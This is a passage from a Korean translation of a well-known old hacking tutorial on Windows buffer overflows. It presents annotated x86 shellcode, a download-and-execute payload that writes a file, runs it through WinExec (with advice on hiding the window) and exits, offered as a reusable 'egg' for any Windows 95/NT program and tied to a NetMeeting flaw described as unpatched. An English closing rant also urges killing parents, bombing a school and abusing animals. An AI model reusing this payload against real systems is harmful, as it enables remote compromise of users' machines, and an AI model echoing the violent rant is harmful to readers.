d,[edi][-0024] 이제 실제적으로 디스크에 쓰기 위해 _lwrite (at [edi-0x24])를 호출한다. 쓰려는 바이트의 수를 위한 파라메터는 [edi]에 위치하게 된다. 우린 또한 버퍼 위치와 _lcreat에 의해 리턴된 파일 핸들을 푸쉬한다. 우리가 함수를 호출하기 전에, 우린 _lwrite에 의해 수정되지 않은 EBX에 핸들을 저장한다. 00000212: 53 push ebx 00000213: FF57E0 call d,[edi][-0020] 그리고 나서 우리는 작업을 완료하기 위해 파일 핸들을 닫는다. 이제 남은 것은 다운로드한 파일을 실행하고, 이 프로세스를 끝내는 것이다. 우린 메모리 할당 등을 깨끗이 처리해야 할 것을 걱정하지 않을 것이다. 좋아 보인다. 그러나 아직 할 일은 있다. 00000216: 90 nop 00000217: 90 nop 00000218: 90 nop 00000219: 33D2 xor edx,edx 0000021B: 42 inc edx 0000021C: 52 push edx 0000021D: 8BD7 mov edx,edi 0000021F: 83EA30 sub edx,030 ;"0" 00000222: 42 inc edx 00000223: 90 nop 00000224: 90 nop 00000225: 52 push edx 00000226: FF57E4 call d,[edi][-001C] 좋다. 이제 우린 WinExec에 파일을 실행하라고 말하기만 하면 된다. 먼저 'inc edx'는 실행을 위한 "Show Window" mode를 선택한다는 것을 상기하라. 만약 실행이 'hidden' mode에서 되길 원한다면 당신은 그 라인을 nop로 하면 된다. 그러면 WinExec의 두변째 파라메터로서 SW_SHOWNORMAL 대신 SW_HIDE를 사용할 것이다. WinExec의 첫째 파라메터는 파일 이름이다. 실행하라! 00000229: 90 nop 0000022A: 90 nop 0000022B: 90 nop 0000022C: FF57E8 call d,[edi][-0018] 이제 우린 이 프로세스를 마칠 시간이다. ExitProcess는 우리의 지저분함을 깨끗이 해 줄 것이다. 그리고 다 끝났다. Awwww yeah that felt good. Take me back. ;============================================================================; @ That's it! This code that I have explained can be used as an overflow egg for any Windows 95 or NT program. It is theorized to work in a Windows 98 environment. The example Netmeeting 2.1 exploit that I used throughout this explanation is a Win95 only flaw, but for other operating systems, the code, and technology remains the same. The Netmeeting flaw is not patched as of this writing, but expect it to be fixed sometime. Learn. Experience. And send me all of your money. Now you can start ruling the world. Have fun with this knowledge. Rob from the rich, and rob from the poor. Eat your cat. Kill your parents. Blow up your local elementary school. Rape young farm animals. Do whatever your sick and twisted mind can fathom. And when you get caught, just tell 'em Satan made you do it. Oh yeah, and I almost forgot. Here's the whole toy put together. Take me to the top. I want to read those haikus again. Take me back. ;============================================================================; 이 문서는 DilDog의 "The Tao of Windows Buffer Overflow"의 번역본입니다. 원본은 html파일인데, 제가 text파일로 편집을 하였습니다. 번역하는 과정에서 최대한 DilDog의 의도를 반영하려고 노력하였으며, 물론 DilDog 특유의 주관적 문장들은 해석하는 과정에서 원저작자의 의도를 해칠 수가 있기 때문에 해석하지 않았습니다. 그리고, 원문을 첨부하였으니 원문을 참조하시기 바랍니다. 이 문서의 저작권은 우리 모두에게 있습니다. 마음대로 수정, 편집, 배포하셔도 됩니다. __sucked by dufqks ;============================================================================;